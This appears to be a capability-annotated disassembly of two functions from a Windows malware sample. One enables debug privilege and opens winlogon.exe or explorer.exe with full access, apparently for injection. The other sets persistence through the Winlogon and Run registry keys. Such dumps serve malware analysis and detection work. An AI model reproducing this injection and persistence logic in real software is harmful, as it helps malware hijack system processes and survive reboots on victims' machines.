Function at 0x402220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
test edi, edi
je 0x4022d6
lea ecx, [ebp - 0x130]
push ecx
push edi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4022cf
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov eax, str.winlogon.exe
jne 0x40228c
mov eax, str.explorer.exe
push eax
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x4022a8
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x402278
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4022cf
push esi
call fcn.00402090
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4022e0
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x4023b1
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 8]
push ecx
push 0x4081a8
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402377
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0x102
push 0
push 0
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call edi
test eax, eax
jne 0x402416
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023e0
sub eax, edx
lea edx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push edx
push esi
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret